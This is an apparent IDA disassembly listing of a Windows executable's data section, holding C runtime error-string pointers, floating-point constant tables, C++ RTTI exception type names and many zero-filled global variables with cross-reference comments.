dword_43D4C8	dd 0Ah			; DATA XREF: sub_423638+4r
					; sub_425D33+4r
dword_43D4CC	dd 8Ch			; DATA XREF: ___:00423579r
					; ___:00423586w ...
dword_43D4D0	dd 0FFFFFFFFh, 0A00h	; DATA XREF: sub_41F8E3:loc_41F964o
					; sub_41FE2A:loc_41FEE7o
dword_43D4D8	dd 2			; DATA XREF: sub_423DD1+Eo
					; sub_423DD1+28r
off_43D4DC	dd offset aR6002FloatingP ; DATA XREF: sub_423DD1+FCr
					; sub_423DD1+12Dr
					; "R6002\r\n- floating point not loaded\r\n"
		dd 8, 427B74h, 9, 427B48h, 0Ah,	427B24h, 10h, 427AF8h
		dd 11h,	427AC8h, 12h, 427AA4h, 13h, 427A78h, 18h, 427A40h
		dd 19h,	427A18h, 1Ah, 4279E0h, 1Bh, 4279A8h, 1Ch, 427980h
		dd 78h,	427970h, 79h, 427960h, 7Ah, 427950h, 0FCh, 4349ECh
		dd 0FFh, 427940h
off_43D568	dd offset dword_4DC020	; DATA XREF: sub_423DD1+1Bo
					; sub_42413E+55o
		align 10h
		dd offset dword_4DC020
		dd 101h
dword_43D578	dd 0FFFFFFFFh, 0	; DATA XREF: sub_42413E+72o
		dd 1000h, 0
dword_43D588	dd 3 dup(0)		; DATA XREF: sub_41FE2A+50o
					; sub_420CE6+12o
		dd 2, 0FFFFFFFFh, 3 dup(0)
dword_43D5A8	dd 3 dup(0)		; DATA XREF: sub_41FE2A+58o
					; sub_420CE6:loc_420D04o
		dd 2, 0FFFFFFFFh, 7 dup(0)
dword_43D5D8	dd 84h dup(0)		; DATA XREF: sub_42413E+9Bo
dword_43D7E8	dd 2 dup(0)		; DATA XREF: sub_42413E+69o
dword_43D7F0	dd 2694h		; DATA XREF: sub_421861+3r
					; sub_4218B4+46r
		align 8
dword_43D7F8	dd 400h, 0FFFFFC01h, 35h, 0Bh, 40h, 3FFh ; DATA	XREF: sub_424CFCo
dword_43D810	dd 80h,	0FFFFFF81h, 18h, 8, 20h, 7Fh ; DATA XREF: sub_424D12o
dword_43D828	dd 2 dup(0)		; DATA XREF: sub_42600E+7o
		dd 4002A000h, 2	dup(0)
		dd 4005C800h, 2	dup(0)
		dd 4008FA00h, 2	dup(0)
		dd 400C9C40h, 2	dup(0)
; ---------------------------------------------------------------------------
		push	eax
		retn
; ---------------------------------------------------------------------------
		dw 400Fh
		dd 2 dup(0)
		dd 4012F424h, 0
		dd 80000000h, 40169896h, 0
		dd 20000000h, 4019BEBCh, 0
		dd 0C9BF0400h, 40348E1Bh, 0A1000000h, 1BCECCEDh, 404ED3C2h
		dd 0B59EF020h, 0ADA82B70h, 40699DC5h, 25FD5DD0h, 4F8E1AE5h
		dd 4083EB19h, 95D79671h, 8D050E43h, 409EAF29h, 44A0BFF9h
		dd 8F1281EDh, 40B98281h, 0A6D53CBFh, 1F49FFCFh,	40D3C278h
		dd 8CE0C66Fh, 47C980E9h, 41A893BAh, 556B85BCh, 0F78D3927h
		dd 427CE070h, 0DE8EDDBCh, 0EBFB9DF9h, 4351AA7Eh, 0E376E6A1h
		dd 2F29F2CCh, 44268184h, 0AA171028h, 0E310AEF8h, 44FAC4C5h
		dd 0F3D4A7EBh, 4AE1EBF7h, 45CF957Ah, 91C7CC65h,	0A0AEA60Eh
		dd 46A3E319h, 0C17650Dh, 75868175h, 4D48C976h, 0A7E44258h
		dd 353B3993h, 53EDB2B8h, 5DE5A74Dh, 3B5DC53Dh, 5A929E8Bh
		dd 0F0A65DFFh, 54C020A1h, 61378CA5h, 5A8BFDD1h,	5D25D88Bh
		dd 67DBF989h, 0F3F895AAh, 0C8A2BF27h, 6E80DD5Dh, 979BC94Ch
		dd 52028A20h, 7525C460h, 0
dword_43D988	dd 0CCCDCCCDh, 0CCCCCCCCh, 3FFBCCCCh, 0D70A3D71h, 0A3D70A3h
					; DATA XREF: sub_42600E+1Bo
		dd 3FF8A3D7h, 0DF3B645Ah, 6E978D4Fh, 3FF58312h,	652CD3C3h
		dd 1758E219h, 3FF1D1B7h, 84230FD0h, 0AC471B47h,	3FEEA7C5h
		dd 69B6A640h, 0BD05AF6Ch, 3FEB8637h, 42BC3D33h,	94D5E57Ah
		dd 3FE7D6BFh, 0CEFDFDC2h, 77118461h, 3FE4ABCCh,	0E15B4C2Fh
		dd 94BEC44Dh, 3FC9E695h, 3B53C492h, 14CD4475h, 3FAF9ABEh
		dd 94BA67DEh, 1EAD4539h, 3F94CFB1h, 0E2C62324h,	313BBABCh
		dd 3F7A8B61h, 0C1595561h, 7C53B17Eh, 3F5FBB12h,	8D2FEED7h
		dd 8592BE06h, 3F44FB15h, 0E9A53F24h, 0EA27A539h, 3F2AA87Fh
		dd 0E4A1AC7Dh, 467C64BCh, 3E55DDD0h, 0CC067B63h, 83775423h
		dd 3D8191FFh, 193AFA91h, 4325637Ah, 3CACC031h, 38D18921h
		dd 0B8974782h, 3BD7FD00h, 85888DCh, 0E3E8B11Bh,	3B03A686h
		dd 424584C6h, 7599B607h, 3A2EDB37h, 0D21C7133h,	0EE32DB23h
		dd 395A9049h, 0C0BE87A6h, 82A5DA57h, 32B5A2A6h,	11B268E2h
		dd 449F52A7h, 2C10B759h, 2DE44925h, 534F3436h, 256BCEAEh
		dd 0A404598Fh, 7DC2DEC0h, 1EC6E8FBh, 5A88E79Eh,	0BF3C9157h
		dd 18228350h, 62654B4Eh, 0AF8F83FDh, 117D9406h,	9FDE2DE4h
		dd 4C8D2CEh, 0AD8A6DDh
off_43DAE4	dd offset off_427CEC	; DATA XREF: ___:00427EC4o
					; ___:00427FB0o
		dd 0
a_?avexception@	db '.?AVexception@@',0
off_43DAFC	dd offset off_427CEC	; DATA XREF: ___:off_427D78o
					; ___:00427DB8o ...
		dd 0
a_?avlogic_erro	db '.?AVlogic_error@std@@',0
		align 4
off_43DB1C	dd offset off_427CEC	; DATA XREF: ___:off_427DC0o
					; ___:00427E04o ...
		dd 0
a_?avout_of_ran	db '.?AVout_of_range@std@@',0
		align 4
off_43DB3C	dd offset off_427CEC	; DATA XREF: ___:off_427E0Co
					; ___:00427E50o ...
		dd 0
a_?avlength_err	db '.?AVlength_error@std@@',0
		align 10h
off_43DB60	dd offset off_427CEC	; DATA XREF: ___:off_427E58o
					; ___:00427E94o
		align 8
a_?avtype_info@	db '.?AVtype_info@@',0
		dd offset sub_424F1C
		align 10h
dword_43DB80	dd 2 dup(0)		; DATA XREF: sub_40111D+C8o
byte_43DB88	db 0			; DATA XREF: sub_40111D+62o
					; ___:0040146Eo ...
		align 10h
dword_43DB90	dd 0			; DATA XREF: ___:004015B0o
					; sub_401ACD+AECo ...
		dd 5 dup(0)
dword_43DBA8	dd 0			; DATA XREF: sub_401ACD+B48r
					; sub_415C40+60r
		dd 2D9h	dup(0)
dword_43E710	dd 0			; DATA XREF: sub_401ACD+5D8Cr
					; sub_401ACD+5E61r ...
		dd 7Fh dup(0)
dword_43E910	dd 0			; DATA XREF: sub_40B3BA+41w
					; sub_40B4F5+40w ...
dword_43E914	dd 0			; DATA XREF: sub_40B3BA+47w
					; sub_40B4F5+46w ...
dword_43E918	dd 0			; DATA XREF: sub_40B3BA+52w
					; sub_40B4F5+3Ar ...
dword_43E91C	dd 0			; DATA XREF: sub_40111D+Cr
					; sub_4017ED+B9w ...
dword_43E920	dd 0			; DATA XREF: sub_40B4F5+75r
					; sub_40B6D6+2Aw ...
dword_43E924	dd 0			; DATA XREF: ___:004015FFw
					; ___:00401677w ...
byte_43E928	db 0			; DATA XREF: sub_4017ED+91o
					; sub_401ACD+5CD7r ...
		align 4
		dd 1B89h dup(0)
dword_445750	dd 2A3Fh dup(0)		; DATA XREF: ___:0043492Co
		db 0
byte_45004D	db 3 dup(0)		; DATA XREF: ___:004385C0o
		dd 1CFCh dup(0)
		db 0
byte_457441	db 3 dup(0)		; DATA XREF: ___:off_43902Co
dword_457444	dd 0E306h dup(0)
dword_49005C	dd 937Eh dup(0)		; DATA XREF: ___:off_432948o
		db 0
byte_4B4E55	db 3 dup(0)		; DATA XREF: ___:off_43165Co
		dd 0FBh	dup(0)
		db 0
byte_4B5245	db 3 dup(0)		; DATA XREF: ___:off_438E98o
dword_4B5248	dd 5932h dup(0)
dword_4CB710	dd 0			; DATA XREF: sub_40111D+FDw
					; sub_40B3BA+13o ...
dword_4CB714	dd 0			; DATA XREF: ___:0040125Ew
					; sub_401ACD:loc_404494r ...
dword_4CB718	dd 0			; DATA XREF: ___:loc_4016FFo
dword_4CB71C	dd 20h dup(0)		; DATA XREF: ___:004016B6o
					; ___:00401750o ...
dword_4CB79C	dd 10h dup(0)		; DATA XREF: ___:004016CCo
dword_4CB7DC	dd 24h dup(0)		; DATA XREF: ___:004016E3o
dword_4CB86C	dd 0			; DATA XREF: ___:004016D7w
					; ___:00401767w ...
dword_4CB870	dd 0			; DATA XREF: ___:004016F6w
		align 10h
byte_4CB880	db 0			; DATA XREF: sub_401955+28r
					; sub_401955+30o
		align 4
dword_4CB884	dd 0			; DATA XREF: ___:00401704w
					; ___:0040171Br ...
dword_4CB888	dd 0			; DATA XREF: ___:004016BBw
					; sub_401ACD+8A2r
word_4CB88C	dw 0			; DATA XREF: sub_401ACD+7BAFo
					; ___:0040AFA9o ...
		align 10h
dword_4CB890	dd 0			; DATA XREF: sub_409909+4A7w
					; sub_409909+4EBr
dword_4CB894	dd 0			; DATA XREF: sub_409909+65w
					; sub_419C09+166r
dword_4CB898	dd 0			; DATA XREF: sub_409909+80Bw
					; sub_409909+880r ...
dword_4CB89C	dd 0			; DATA XREF: sub_409909+9D8w
					; sub_409909+A43r ...
dword_4CB8A0	dd 0			; DATA XREF: sub_409909+98Aw
					; sub_409909+A13r ...
dword_4CB8A4	dd 0			; DATA XREF: sub_409909+48Dw
					; sub_409909+4DBr
dword_4CB8A8	dd 0			; DATA XREF: sub_409909+213w
					; sub_409909+234r
dword_4CB8AC	dd 0			; DATA XREF: sub_409909+9CBw
					; sub_409909+A3Br ...
dword_4CB8B0	dd 0			; DATA XREF: sub_409909+372w
					; sub_409909+3C7r ...
dword_4CB8B4	dd 0			; DATA XREF: sub_409909+40Fw
					; sub_41AF8F+11Er
dword_4CB8B8	dd 0			; DATA XREF: sub_409909+37Fw
					; sub_409909+3CFr ...
dword_4CB8BC	dd 0			; DATA XREF: sub_409909+3C0w
					; sub_4191DB+ADr
dword_4CB8C0	dd 0			; DATA XREF: sub_409909+55Aw
					; sub_40FAD6+115r ...
dword_4CB8C4	dd 0			; DATA XREF: sub_409909+72w
					; sub_409909+D2r ...
dword_4CB8C8	dd 0			; DATA XREF: sub_409909+97Dw
					; sub_409909+A06r ...
dword_4CB8CC	dd 0			; DATA XREF: sub_409909+3A6w
					; sub_409909+3E7r ...
dword_4CB8D0	dd 0			; DATA XREF: sub_409909+859w
					; sub_409909+8ACr ...
dword_4CB8D4	dd 0			; DATA XREF: sub_409909+2A5w
					; sub_409909+2F0r
dword_4CB8D8	dd 0			; DATA XREF: sub_409909+84Cw
					; sub_409909+8A4r ...
dword_4CB8DC	dd 0			; DATA XREF: sub_409909+B3w
dword_4CB8E0	dd 0			; DATA XREF: sub_409909+866w
					; sub_409909+8B4r ...
dword_4CB8E4	dd 0			; DATA XREF: sub_409909+54Dw
					; sub_409909+6D0r ...
dword_4CB8E8	dd 0			; DATA XREF: sub_409909+58w
					; sub_409909+CAr ...
dword_4CB8EC	dd 0			; DATA XREF: sub_409909+934w
dword_4CB8F0	dd 0			; DATA XREF: sub_401ACD:loc_403ECBr
					; sub_409909+A95w ...
dword_4CB8F4	dd 0			; DATA XREF: sub_409909+A6w
					; sub_409909+F2r
dword_4CB8F8	dd 0			; DATA XREF: sub_409909+480w
					; sub_409909+4D3r
dword_4CB8FC	dd 0			; DATA XREF: sub_409909+5F6w
					; sub_40C267+20r
dword_4CB900	dd 0			; DATA XREF: sub_409909+9BEw
					; sub_409909+A33r
dword_4CB904	dd 0			; DATA XREF: sub_409909+5E9w
					; sub_409909+754r ...
dword_4CB908	dd 0			; DATA XREF: sub_409909+A0Cw
dword_4CB90C	dd 0			; DATA XREF: sub_409909+B50w
					; sub_40DC41+9Ar
dword_4CB910	dd 0			; DATA XREF: sub_409909+7FEw
					; sub_409909+86Dr ...
dword_4CB914	dd 0			; DATA XREF: sub_409909+1B3w
					; sub_40B5B5+3Do ...
dword_4CB918	dd 0			; DATA XREF: sub_409909+997w
					; sub_409909+A1Br ...
dword_4CB91C	dd 0			; DATA XREF: sub_409909+38Cw
					; sub_409909+3D7r ...
dword_4CB920	dd 0			; DATA XREF: sub_409909+399w
					; sub_409909+3DFr ...
dword_4CB924	dd 0			; DATA XREF: sub_409909+C85w
					; sub_409909+C8Cr
dword_4CB928	dd 0			; DATA XREF: sub_409909+6ACw
					; ___:00411290r
dword_4CB92C	dd 0			; DATA XREF: sub_40111D+1Dr
					; sub_40111D+23r ...
dword_4CB930	dd 0			; DATA XREF: sub_409909+4B4w
dword_4CB934	dd 0			; DATA XREF: sub_409909+9E5w
					; sub_409909+A4Br ...
dword_4CB938	dd 0			; DATA XREF: sub_401000+51r
					; sub_409909+2B2w ...
dword_4CB93C	dd 0			; DATA XREF: sub_409909+7Fw
					; sub_409909+DAr ...
dword_4CB940	dd 0			; DATA XREF: sub_401ACD+5840r
					; sub_401ACD+781Er ...
dword_4CB944	dd 0			; DATA XREF: ___:004012ADr
					; sub_401ACD+5037r ...
dword_4CB948	dd 0			; DATA XREF: sub_409909+825w
					; sub_409909+890r ...
dword_4CB94C	dd 0			; DATA XREF: sub_409909+9A4w
					; sub_409909+A23r
dword_4CB950	dd 0			; DATA XREF: sub_409909+C0Ew
					; sub_409909+C3Fr
dword_4CB954	dd 0			; DATA XREF: sub_409909+2CCw
					; sub_418A2E+47r
dword_4CB958	dd 0			; DATA XREF: sub_409909+22Dw
dword_4CB95C	dd 0			; DATA XREF: sub_409909+91Aw
					; sub_409909+92Er
dword_4CB960	dd 0			; DATA XREF: sub_409909+C28w
dword_4CB964	dd 0			; DATA XREF: sub_409909+2D9w
					; sub_418A2E+4Fr
dword_4CB968	dd 0			; DATA XREF: sub_409909+574w
					; sub_409909+6E8r ...
dword_4CB96C	dd 0			; DATA XREF: sub_409909+83Fw
					; sub_409909+873r
dword_4CB970	dd 0			; DATA XREF: sub_409909+220w
					; sub_409909+23Cr
dword_4CB974	dd 0			; DATA XREF: sub_409909+172w
					; sub_409909+1C2r
dword_4CB978	dd 0			; DATA XREF: sub_401ACD+1DCEr
					; sub_401ACD+59F9r ...
dword_4CB97C	dd 0			; DATA XREF: sub_4017ED+C4r
					; sub_401ACD+50C1r ...
dword_4CB980	dd 0			; DATA XREF: sub_409909+567w
					; sub_409909+6DCr ...
dword_4CB984	dd 0			; DATA XREF: sub_409909+8DBw
					; sub_409909:loc_40A202w ...
dword_4CB988	dd 0			; DATA XREF: sub_401000+26r
					; sub_409909+28Bw ...
dword_4CB98C	dd 0			; DATA XREF: sub_401ACD+77AFr
					; sub_409909+69Fw ...
dword_4CB990	dd 0			; DATA XREF: sub_409909+32Dw
					; sub_409909+341r ...
dword_4CB994	dd 0			; DATA XREF: sub_409909+3B3w
					; sub_409909+3EFr ...
dword_4CB998	dd 0			; DATA XREF: sub_409909+C01w
					; sub_409909+C37r
dword_4CB99C	dd 0			; DATA XREF: sub_409909+818w
					; sub_409909+888r ...
dword_4CB9A0	dd 0			; DATA XREF: sub_409909+206w
					; sub_409909+227r
dword_4CB9A4	dd 0			; DATA XREF: sub_409909+18Cw
					; sub_409909+1D2r ...
dword_4CB9A8	dd 0			; DATA XREF: sub_409909+832w
					; sub_409909+898r ...
dword_4CB9AC	dd 0			; DATA XREF: sub_409909+624w
					; sub_409909+774r
dword_4CB9B0	dd 0			; DATA XREF: sub_401000+5Ar
					; sub_409909+2BFw ...
dword_4CB9B4	dd 0			; DATA XREF: sub_409909+66Bw
					; sub_409909+79Cr ...
dword_4CB9B8	dd 0			; DATA XREF: sub_409909+320w
					; sub_409909+334r ...
dword_4CB9BC	dd 0			; DATA XREF: sub_409909+644w
					; sub_409909+784r ...
dword_4CB9C0	dd 0			; DATA XREF: sub_409909+44Cw
					; sub_409909+4AEr
dword_4CB9C4	dd 0			; DATA XREF: sub_409909+199w
					; sub_409909+1DAr ...
dword_4CB9C8	dd 0			; DATA XREF: sub_409909+365w
					; sub_409909+3BAr ...
dword_4CB9CC	dd 0			; DATA XREF: sub_409909+AA2w
dword_4CB9D0	dd 0			; DATA XREF: sub_409909+5DCw
					; sub_409909+748r ...
dword_4CB9D4	dd 0			; DATA XREF: sub_4017ED+3Er
					; sub_401ACD+5073r ...
dword_4CB9D8	dd 0			; DATA XREF: sub_409909+4Bw
					; sub_409909+C2r ...
dword_4CB9DC	dd 0			; DATA XREF: sub_409909+473w
					; sub_409909+4CBr
dword_4CB9E0	dd 0			; DATA XREF: sub_409909+165w
					; sub_409909+1BAr ...
dword_4CB9E4	dd 0			; DATA XREF: sub_409909+9FFw
					; sub_409909+A5Br ...
dword_4CB9E8	dd 0			; DATA XREF: sub_409909+685w
					; sub_409909+7ACr ...
dword_4CB9EC	dd 0			; DATA XREF: sub_401955+D1r
					; sub_401ACD+50D6r ...
dword_4CB9F0	dd 0			; DATA XREF: sub_409909+C1Bw
					; sub_409909+C47r
dword_4CB9F4	dd 0			; DATA XREF: sub_409909+3Ew
					; sub_409909+BAr ...
dword_4CB9F8	dd 0			; DATA XREF: sub_401000+45r
					; sub_409909+298w ...
dword_4CB9FC	dd 0			; DATA XREF: sub_409909+651w
					; sub_409909+78Cr ...
dword_4CBA00	dd 0			; DATA XREF: sub_409909+637w
					; sub_409909+77Cr ...
dword_4CBA04	dd 0			; DATA XREF: sub_409909+C92w
dword_4CBA08	dd 0			; DATA XREF: sub_409909+879w
					; ___:00416C7Cr ...
dword_4CBA0C	dd 0			; DATA XREF: sub_409909+112w
dword_4CBA10	dd 0			; DATA XREF: sub_409909+BE7w
					; sub_409909+C22r
dword_4CBA14	dd 0			; DATA XREF: sub_401ACD+2F9Br
					; sub_401ACD+5EB8r ...
dword_4CBA18	dd 0			; DATA XREF: sub_409909+459w
					; sub_409909+4BBr
dword_4CBA1C	dd 0			; DATA XREF: sub_409909+49Aw
					; sub_409909+4E3r
dword_4CBA20	dd 0			; DATA XREF: sub_409909+466w
					; sub_409909+4C3r
dword_4CBA24	dd 0			; DATA XREF: sub_401955+89r
					; sub_401ACD+50F3r ...
dword_4CBA28	dd 0			; DATA XREF: sub_409909+1A6w
					; sub_409909+1E2r ...
dword_4CBA2C	dd 0			; DATA XREF: sub_409909+9F2w
					; sub_409909+A53r ...
dword_4CBA30	dd 0			; DATA XREF: sub_409909+158w
					; sub_409909+1ADr ...
dword_4CBA34	dd 0			; DATA XREF: sub_409909+8Cw
					; sub_409909+E2r ...
dword_4CBA38	dd 0			; DATA XREF: sub_409909+610w
					; sub_409909+764r ...
dword_4CBA3C	dd 0			; DATA XREF: sub_409909+B43w
					; sub_409909+B5Fr
dword_4CBA40	dd 0			; DATA XREF: sub_409909+33Aw
					; sub_419B9E+55r
dword_4CBA44	dd 0			; DATA XREF: sub_409909+27Ew
					; sub_409909+2D3r ...
dword_4CBA48	dd 0			; DATA XREF: sub_409909+BAAw
dword_4CBA4C	dd 0			; DATA XREF: sub_409909+AECw
					; sub_40A928+CEr
dword_4CBA50	dd 0			; DATA XREF: sub_409909+ADFw
					; sub_409909+AE6r ...
dword_4CBA54	dd 0			; DATA XREF: sub_4017ED+A6r
					; sub_401ACD+5052r ...
dword_4CBA58	dd 0			; DATA XREF: sub_401ACD+5044r
					; sub_401ACD+77D6r ...
dword_4CBA5C	dd 0			; DATA XREF: sub_409909+BF4w
					; sub_409909+C2Fr
dword_4CBA60	dd 0			; DATA XREF: sub_401ACD+1DF4r
					; sub_401ACD+5A1Fr ...
dword_4CBA64	dd 0			; DATA XREF: sub_409909+9B1w
					; sub_409909+A2Br ...
dword_4CBA68	dd 0			; DATA XREF: sub_409909+65Ew
					; sub_409909+794r ...
dword_4CBA6C	dd 0			; DATA XREF: sub_40111D+12r
					; sub_4017ED+D0r ...
dword_4CBA70	dd 0			; DATA XREF: sub_409909+59Bw
					; sub_409909+70Cr ...
dword_4CBA74	dd 0			; DATA XREF: sub_409909+B36w
					; sub_409909+B57r ...
dword_4CBA78	dd 0			; DATA XREF: sub_409909+540w
					; sub_409909+6C4r ...
dword_4CBA7C	dd 0			; DATA XREF: sub_409909+B29w
					; sub_409909+B4Ar
dword_4CBA80	dd 0			; DATA XREF: ___:00401273r
					; sub_409909+31w ...
dword_4CBA84	dd 0			; DATA XREF: sub_409909+17Fw
					; sub_409909+1CAr
		dd 0
dword_4CBA8C	dd 0			; DATA XREF: sub_409909+927w
					; sub_409909+93Br
dword_4CBA90	dd 0			; DATA XREF: sub_409909+99w
					; sub_409909+EAr ...
dword_4CBA94	dd 0			; DATA XREF: sub_409909:loc_409A07w
					; sub_409909+12Bw ...
dword_4CBA98	dd 0			; DATA XREF: sub_409909+126w
					; sub_40A5C5+1Cr
dword_4CBA9C	dd 0			; DATA XREF: sub_409909:loc_409AF7w
					; sub_409909:loc_409B5Ew ...
dword_4CBAA0	dd 0			; DATA XREF: sub_409909+250w
					; sub_40A5C5+50r
dword_4CBAA4	dd 0			; DATA XREF: ___:0040156Ar
					; sub_401ACD+4468r ...
dword_4CBAA8	dd 0			; DATA XREF: sub_409909+41Ew
					; sub_40A5C5+84r
dword_4CBAAC	dd 0			; DATA XREF: sub_409909:loc_409E0Dw
					; sub_40A5C5:loc_40A675r
dword_4CBAB0	dd 0			; DATA XREF: sub_409909+4FFw
					; sub_40A5C5+B8r
dword_4CBAB4	dd 0			; DATA XREF: sub_409909:loc_40A0DEw
					; sub_40A5C5:loc_40A6A9r
dword_4CBAB8	dd 0			; DATA XREF: sub_409909+7D0w
					; sub_40A5C5+ECr
dword_4CBABC	dd 0			; DATA XREF: sub_409909:loc_40A1C9w
					; sub_409909+8EFw ...
dword_4CBAC0	dd 0			; DATA XREF: sub_409909+8EAw
					; sub_40A5C5+120r
dword_4CBAC4	dd 0			; DATA XREF: sub_401ACD:loc_406E35r
					; sub_409909:loc_40A25Dw ...
dword_4CBAC8	dd 0			; DATA XREF: sub_409909+94Fw
					; sub_40A5C5+154r
dword_4CBACC	dd 0			; DATA XREF: sub_401ACD+4470r
					; sub_409909:loc_40A379w ...
dword_4CBAD0	dd 0			; DATA XREF: sub_409909+A6Bw
					; sub_40A5C5+188r
dword_4CBAD4	dd 0			; DATA XREF: sub_409909:loc_40A3C3w
					; sub_40A5C5:loc_40A779r
dword_4CBAD8	dd 0			; DATA XREF: sub_409909+AB5w
					; sub_40A5C5+1BCr
dword_4CBADC	dd 0			; DATA XREF: sub_409909:loc_40A40Dw
					; sub_40A5C5:loc_40A7ADr
dword_4CBAE0	dd 0			; DATA XREF: sub_409909+AFFw
					; sub_40A5C5+1F0r
dword_4CBAE4	dd 0			; DATA XREF: sub_409909:loc_40A481w
					; sub_40A5C5:loc_40A7E1r
dword_4CBAE8	dd 0			; DATA XREF: sub_409909+B73w
					; sub_40A5C5+224r
dword_4CBAEC	dd 0			; DATA XREF: sub_409909:loc_40A4CBw
					; sub_40A5C5:loc_40A815r
dword_4CBAF0	dd 0			; DATA XREF: sub_409909+BBDw
					; sub_40A5C5+258r
dword_4CBAF4	dd 0			; DATA XREF: sub_409909:loc_40A569w
					; sub_40A5C5:loc_40A849r
dword_4CBAF8	dd 0			; DATA XREF: sub_409909+C5Bw
					; sub_40A5C5+28Cr
dword_4CBAFC	dd 0			; DATA XREF: sub_409909:loc_40A5B3w
					; sub_40A5C5:loc_40A87Dr
dword_4CBB00	dd 0			; DATA XREF: sub_409909+CA5w
					; sub_40A5C5+2C0r
dword_4CBB04	dd 5 dup(0)		; DATA XREF: sub_40AA06+32o
byte_4CBB18	db 0			; DATA XREF: sub_40B2B3+6Ar
					; sub_40B2B3+98w
		align 10h
dword_4CBB20	dd 0			; DATA XREF: sub_40BD1A+18r
					; sub_40C2AF+92w ...
dword_4CBB24	dd 0			; DATA XREF: sub_40C3E8+4Dr
					; sub_40C3E8+2F1w ...
		dd 7FEh	dup(0)
dword_4CDB20	dd 6 dup(0)		; DATA XREF: sub_40C3E8+D2o
					; sub_40C3E8+13Bo ...
dword_4CDB38	dd 0			; DATA XREF: sub_40BD91+2C4w
					; sub_40BD91+348o
dword_4CDB3C	dd 0			; DATA XREF: sub_40BD91+33Ew
					; sub_40BD91+35Ar
dword_4CDB40	dd 0			; DATA XREF: sub_40BD91+2CFw
dword_4CDB44	dd 0			; DATA XREF: sub_40BD91+2B9w
					; sub_40BD91:loc_40C0A6r
dword_4CDB48	dd 20h dup(0)		; DATA XREF: sub_40BD91+2E2o
					; sub_40BD91+302o
dword_4CDBC8	dd 0			; DATA XREF: sub_40BD91+2D5w
dword_4CDBCC	dd 0			; DATA XREF: sub_40BD91+2EFw
					; sub_40BD91+30Fw
dword_4CDBD0	dd 0			; DATA XREF: sub_40BD91:loc_40C101r
		align 8
dword_4CDBD8	dd 0			; DATA XREF: sub_40BD91+82w
					; sub_40BD91+101o
dword_4CDBDC	dd 41h dup(0)		; DATA XREF: sub_40BD91+41o
dword_4CDCE0	dd 41h dup(0)		; DATA XREF: sub_40BD91+69o
dword_4CDDE4	dd 0			; DATA XREF: sub_40BD91+F7w
					; sub_40BD91+113r
dword_4CDDE8	dd 0			; DATA XREF: sub_40BD91+52w
dword_4CDDEC	dd 0			; DATA XREF: sub_40BD91+4Dw
					; sub_40BD91+D4r
dword_4CDDF0	dd 20h dup(0)		; DATA XREF: sub_40BD91+9Ao
					; sub_40BD91+BAo
dword_4CDE70	dd 0			; DATA XREF: sub_40BD91+8Fw
dword_4CDE74	dd 0			; DATA XREF: sub_40BD91+A7w
					; sub_40BD91+C7w
dword_4CDE78	dd 0			; DATA XREF: sub_40BD91:loc_40BEBAr
		align 10h
dword_4CDE80	dd 0			; DATA XREF: sub_40BD91+1A5w
					; sub_40BD91+225o
dword_4CDE84	dd 41h dup(0)		; DATA XREF: sub_40BD91+167o
dword_4CDF88	dd 41h dup(0)		; DATA XREF: sub_40BD91+18Co
dword_4CE08C	dd 0			; DATA XREF: sub_40BD91+21Bw
					; sub_40BD91+237r
dword_4CE090	dd 0			; DATA XREF: sub_40BD91+17Aw
dword_4CE094	dd 0			; DATA XREF: sub_40BD91+175w
					; sub_40BD91+1F8r
dword_4CE098	dd 20h dup(0)		; DATA XREF: sub_40BD91+1BEo
					; sub_40BD91+1DEo
dword_4CE118	dd 0			; DATA XREF: sub_40BD91+1B1w
dword_4CE11C	dd 0			; DATA XREF: sub_40BD91+1CBw
					; sub_40BD91+1EBw
dword_4CE120	dd 0			; DATA XREF: sub_40BD91:loc_40BFDEr
		align 8
dword_4CE128	dd 0			; DATA XREF: sub_40BD91+417w
					; sub_40BD91+470o
dword_4CE12C	dd 0A2h	dup(0)		; DATA XREF: sub_40BD91+405o
dword_4CE3B4	dd 41h dup(0)		; DATA XREF: sub_40BD91+3CFo
dword_4CE4B8	dd 0			; DATA XREF: sub_40BD91+3FCw
					; sub_40BD91+423r
		align 10h
dword_4CE4C0	dd 0			; DATA XREF: sub_40BD91+466w
					; sub_40BD91+482r
dword_4CE4C4	dd 0			; DATA XREF: sub_40BD91+429w
dword_4CE4C8	dd 0			; DATA XREF: sub_40BD91+436w
dword_4CE4CC	dd 0			; DATA XREF: sub_40BD91+3F6w
		dd 0
dword_4CE4D4	dd 0			; DATA XREF: sub_40BD91:loc_40C229r
		dd 0
dword_4CE4DC	dd 0			; DATA XREF: sub_40B9DD+Er
					; sub_40B9DD+32r
dword_4CE4E0	dd 0			; DATA XREF: sub_40B9DD+9r
					; sub_40B9DD+26r
dword_4CE4E4	dd 82h dup(0)		; DATA XREF: sub_40C85F+8Do
dword_4CE6EC	dd 2 dup(0)		; DATA XREF: sub_40D1C8+68o
dword_4CE6F4	dd 0			; DATA XREF: sub_40DB5E+9Eo
dword_4CE6F8	dd 0			; DATA XREF: ___:0040EEF0r
		dd 0
		dd 0
dword_4CE704	dd 0			; DATA XREF: ___:0040EEC3r
dword_4CE708	dd 0			; DATA XREF: ___:0040EEA5r
					; ___:0040EF0Er
		align 10h
dword_4CE710	dd 0			; DATA XREF: sub_40BD91+2AEr
		align 8
dword_4CE718	dd 0			; DATA XREF: sub_40BA49+1Cr
dword_4CE71C	dd 0			; DATA XREF: ___:0040F9E9w
					; ___:0040FA10r ...
		dd 3 dup(0)
dword_4CE72C	dd 0			; DATA XREF: ___:00411306r
		dd 0
dword_4CE734	dd 0			; DATA XREF: sub_412EDD+4w
					; sub_412EDD+9o
		dd 10Ah	dup(0)
dword_4CEB60	dd 188h	dup(0)		; DATA XREF: sub_401ACD+2F25o
					; sub_401ACD:loc_404A7Bo
dword_4CF180	dd 0			; DATA XREF: sub_401ACD+19C3w
					; sub_401ACD+2F1Dr ...
		dd 11Ch	dup(0)
dword_4CF5F4	dd 1000h dup(0)		; DATA XREF: sub_415D38+1Do
					; sub_415DD8o ...
dword_4D35F4	dd 0			; DATA XREF: sub_415D38+13o
					; sub_415DD8+Eo ...
dword_4D35F8	dd 0Eh dup(0)		; DATA XREF: sub_416CC9+Fo
dword_4D3630	dd 80h dup(0)		; DATA XREF: sub_417990+41o
dword_4D3830	dd 200h	dup(0)		; DATA XREF: sub_4172C1+C7o
					; sub_41761C+DDo ...
dword_4D4030	dd 48h dup(0)		; DATA XREF: sub_4172C1+D6o
					; sub_41761C+F4o ...
		db 2 dup(0)
word_4D4152	dw 0			; DATA XREF: ___:off_4383A8o
		dd 1B7h	dup(0)
dword_4D4830	dd 0			; DATA XREF: sub_4172C1+86w
					; sub_417493+94r
